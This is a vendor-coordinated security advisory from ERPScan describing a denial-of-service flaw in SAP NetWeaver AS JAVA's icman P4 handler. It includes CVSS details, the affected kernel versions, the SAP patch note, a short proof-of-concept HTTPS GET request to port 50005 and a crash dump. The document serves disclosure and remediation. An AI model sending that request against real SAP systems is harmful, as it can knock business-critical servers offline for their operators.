Versions Affected: SAP NetWeaver AS JAVA 7.4
Vendor URL: http://SAP.com
Bug: Denial of Service
Sent: 22.04.2016
Reported: 23.04.2016
Vendor response: 23.04.2016
Date of Public Advisory: 09.08.2016
Reference: SAP Security Note 2313835
Author: Vahagn Vardanyan (ERPScan)
Description
1. ADVISORY INFORMATION
Title: [ERPSCAN-16-033] SAP NetWeaver AS JAVA icman – DoS vulnerability
Advisory ID:[ERPSCAN-16-033]
Risk: high
Advisory URL: https://erpscan.com/
Date published: 11.11.2016
Vendors contacted: SAP
2. VULNERABILITY INFORMATION
Class: Denial of Service
Impact: Denial of Service
Remotely Exploitable: yes
Locally Exploitable: yes
CVSS Information
CVSS Base Score v3: 7.5 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) Low (L)
PR : Privileges Required (Level of privileges needed to exploit) None (N)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)
C : Impact to Confidentiality None (N)
I : Impact to Integrity None (N)
A : Impact to Availability High (H)
3. VULNERABILITY DESCRIPTION
Unauthenticated attacker can make DoS attack with use P4 over HTTPS
4. VULNERABLE PACKAGES
SAP KERNEL 7.21 32-BIT
SAP KERNEL 7.21 32-BIT UNICODE
SAP KERNEL 7.21 64-BIT
SAP KERNEL 7.21 64-BIT UNICODE
SAP KERNEL 7.21 EXT 32-BIT
SAP KERNEL 7.21 EXT 32-BIT UC
SAP KERNEL 7.21 EXT 64-BIT
SAP KERNEL 7.21 EXT 64-BIT UC
SAP KERNEL 7.22 64-BIT
SAP KERNEL 7.22 64-BIT UNICODE
SAP KERNEL 7.22 EXT 64-BIT
SAP KERNEL 7.22 EXT 64-BIT UC
SAP KERNEL 7.42 64-BIT
SAP KERNEL 7.42 64-BIT UNICODE
SAP KERNEL 7.45 64-BIT
SAP KERNEL 7.45 64-BIT UNICODE
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security Note 2313835
6. AUTHOR
Vahagn Vardanyan (ERPScan)
7. TECHNICAL DESCRIPTION
Vulnerability triggers when one sends HTTPS GET request to SAP NetWeaver P4.
PoC
```
GET https://SAP_IP:50005/sap.com~
Host: 172.16.10.65:50005
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0)
Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```
0:007> r
rax=0000a323260f1252 rbx=0000000025c500d0 rcx=0000000025c500d0
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000000
rip=000000013f3af019 rsp=0000000003500d40 rbp=0000000003500e40
r8=0000000025c50400 r9=0000006c004c0002 r10=0000000003500c20
r11=00000000021b2df0 r12=0000000000000002 r13=000000013f2c0000
r14=0000000000000000 r15=0000000000000001
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
icman!P4PlugInReadHandler+
00000001`3f3af019 8b4f04 mov ecx,dword ptr [rdi+4]
ds:00000000`00000004=????????
00000000`03500d40 00000001`3f363fb5 icman!P4PlugInReadHandler+0xb9
[d:\depot\bas\742_rel\src\krn\
00000000`03500ec0 00000001`3f3638ea icman!IcmMplxAsyncReadDone+
[d:\depot\bas\742_rel\src\krn\
00000000`03500f10 00000001`3f362626 icman!IcmMplxExecCall+0x36a
[d:\depot\bas\742_rel\src\krn\
00000000`0350fd20 00000000`74901d9f icman!IcmMplxThread+0x5f6
[d:\depot\bas\742_rel\src\krn\
00000000`0350fdb0 00000000`74901e3b MSVCR100!endthreadex+0x43
00000000`0350fde0 00000000`7716652d MSVCR100!endthreadex+0xdf
00000000`0350fe10 00000000`7729c541 kernel32!BaseThreadInitThunk+
00000000`0350fe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21
```
8. REPORT TIMELINE
Sent: 22.04.2016
Reported: 23.04.2016
Vendor response: 23.04.2016
Date of Public Advisory: 09.08.2016
9. REFERENCES
https://erpscan.com/
10. ABOUT ERPScan Research
ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.
ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.
ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.
ERPScan experts were interviewed in specialized infosec resources and
featured in major media worldwide. Among them, there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.
Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.
11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
Solution providers” and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.
ERPScan’s primary mission is to close the gap between technical and
business security and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.
We ‘follow the sun’ and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301
Phone: 650.798.5255
Twitter: @erpscan
Scoop-it: Business Application Security
------------------------------
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